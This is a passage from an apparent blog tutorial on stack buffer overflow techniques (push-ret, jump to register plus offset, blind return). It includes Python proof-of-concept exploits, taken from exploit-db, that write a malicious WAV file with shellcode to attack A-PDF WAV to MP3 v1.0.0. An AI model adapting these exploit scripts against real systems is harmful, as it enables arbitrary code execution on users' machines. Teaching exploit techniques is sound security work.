<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>ad<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>d1<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>c5<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>cd&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0f<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>df<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>99&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>0c<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>e9<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>92<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>dc<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>28&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>b5<span style="color: #000099; font-weight: bold;">\x</span>98<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>fa&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>9f<span style="color: #000099; font-weight: bold;">\x</span>86<span style="color: #000099; font-weight: bold;">\x</span>3e<span style="color: #000099; font-weight: bold;">\x</span>2a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>ab<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>88&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>af<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c2<span style="color: #000099; font-weight: bold;">\x</span>ce<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>cb<span style="color: #000099; font-weight: bold;">\x</span>1a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>ec<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>9b<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>86&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>97<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>a6<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>ac<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>60&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>9e&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff + eip + junk + esp + nops +shellcode<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Drop2.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>    <span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<h3>PUSH RETURN</h3>
<p>This techinque is a little bit different from CALL a register approach. If you don’t find out anywhere a jmp or call reg opcode then you could put the address directly into the stack and do a ret. Basically you look for a push reg followed by a ret and then you put the address of this opcode into eip.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:    A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:    Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:        August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download:     http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:    http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:    Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4128</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
<span style="color: #808080; font-style: italic;"># 0047A01D push esp ret in wavtomp3.exe</span>
eip = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
nops = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>da<span style="color: #000099; font-weight: bold;">\x</span>b1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>15&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>ad<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>d1<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>c5<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>cd&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0f<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>df<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>99&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>0c<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>e9<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>92<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>dc<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>28&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>b5<span style="color: #000099; font-weight: bold;">\x</span>98<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>fa&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>9f<span style="color: #000099; font-weight: bold;">\x</span>86<span style="color: #000099; font-weight: bold;">\x</span>3e<span style="color: #000099; font-weight: bold;">\x</span>2a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>ab<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>88&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>af<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c2<span style="color: #000099; font-weight: bold;">\x</span>ce<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>cb<span style="color: #000099; font-weight: bold;">\x</span>1a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>ec<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>9b<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>86&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>97<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>a6<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>ac<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>60&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>9e&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff + eip + nops +shellcode<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Drop3.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>    <span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<h3>JUMP [reg + offset]</h3>
<p>If there is a  register that points to the buffer containing the shellcode, but it does not point at the beginning of the shellcode, you can also try to find an instruction in one of the OS or dll’s application, which will add the required bytes to the register and then jumps to the register. E.g. a jmp dword ptr [esp+8].</p>
<h3>BLIND RETURN</h3>
<p>A RET instruction pop the last value (4bytes) from the stack and put that address in ESP. So if you overwrite EIP with the address that perform a RET instruction, you load the value stored at ESP into EIP.</p>
<p>We need to:<br />
- Overwrite the eip with the address that points to ret opcode<br />
- Enter the address that points to the shellcode in the first 4 bytes of the ESP<br />
So when the ret is executed, the last added 4 bytes are popped from the stack and put in EIP.</p>
<p>[BOF][ret opcode address][shellcode address][shellcode]</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:    A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
